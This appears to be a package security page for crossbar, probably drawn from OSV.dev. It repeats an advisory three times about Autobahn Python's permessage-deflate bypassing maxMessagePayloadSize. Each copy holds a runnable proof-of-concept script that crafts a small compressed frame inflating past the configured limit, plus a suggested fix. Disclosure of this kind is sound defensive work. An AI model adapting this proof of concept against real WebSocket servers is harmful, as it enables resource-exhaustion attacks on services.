crossbar

Version	Released
`26.10.1` minor	Oct 21, 2026
`26.7.1` minor	Jul 17, 2026
`26.6.1` major 1 CVE	Jun 21, 2026
`26.4.1.dev1` pre 1 CVE	Jun 13, 2026
`25.12.1` major 1 CVE	Dec 18, 2025
`22.6.1` minor 1 CVE	Jul 05, 2022
`22.5.1` minor 1 CVE	Jun 02, 2022
`22.4.1` minor 1 CVE	May 04, 2022
`22.3.1` minor 1 CVE	Mar 17, 2022
`22.2.1` minor 1 CVE	Feb 23, 2022
`22.1.1` major 1 CVE	Feb 13, 2022
`21.3.1` minor 1 CVE	Mar 02, 2021
`21.2.1` minor 1 CVE	Feb 26, 2021
`21.1.1` major 1 CVE	Feb 07, 2021
`20.12.3` patch 1 CVE	Dec 20, 2020
`20.12.2` patch 1 CVE	Dec 18, 2020
`20.12.1` minor 1 CVE	Dec 15, 2020
`20.8.1` minor 1 CVE	Aug 07, 2020
`20.7.1` minor 1 CVE	Jul 17, 2020
`20.6.2` patch 1 CVE	Jun 29, 2020
`20.6.1` minor 1 CVE	Jun 11, 2020
`20.4.2` patch 1 CVE	Apr 14, 2020
`20.4.1` minor 1 CVE	Mar 31, 2020
`20.2.1` minor 1 CVE	Feb 16, 2020
`20.1.2` patch 1 CVE	Jan 24, 2020
`20.1.1` major 1 CVE	Jan 14, 2020
`19.11.1` minor 1 CVE	Nov 11, 2019
`19.10.1` minor 1 CVE	Sep 30, 2019
`19.9.1` minor 1 CVE	Sep 10, 2019
`19.7.1` minor 1 CVE	Jul 24, 2019
`19.6.2` patch 1 CVE	Jun 16, 2019
`19.6.1` minor 1 CVE	Jun 02, 2019
`19.5.1` minor 1 CVE	May 12, 2019
`19.3.5` patch 1 CVE	Mar 24, 2019
`19.3.1` minor 1 CVE	Mar 18, 2019
`19.2.1` minor 1 CVE	Feb 14, 2019
`19.1.2` patch 1 CVE	Jan 19, 2019
`19.1.1` major 1 CVE	Jan 12, 2019
`18.12.1` minor 1 CVE	Dec 05, 2018
`18.11.2` patch 1 CVE	Nov 24, 2018
`18.11.1` minor 1 CVE	Nov 06, 2018
`18.10.1.post1` pre 1 CVE	Oct 20, 2018
`18.9.2` minor 1 CVE	Sep 10, 2018
`18.7.2` patch 1 CVE	Jul 28, 2018
`18.7.1` minor 1 CVE	Jul 11, 2018
`18.6.1` minor 1 CVE	Jun 07, 2018
`18.5.2` patch 1 CVE	May 17, 2018
`18.5.1` minor 1 CVE	May 11, 2018
`18.4.1` minor 1 CVE	Apr 09, 2018
`18.3.1` major 1 CVE	Mar 07, 2018

26.10.1 minor

Oct 21, 2026

26.7.1 minor

Jul 17, 2026

26.6.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 21, 2026

26.4.1.dev1 pre

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 13, 2026

25.12.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
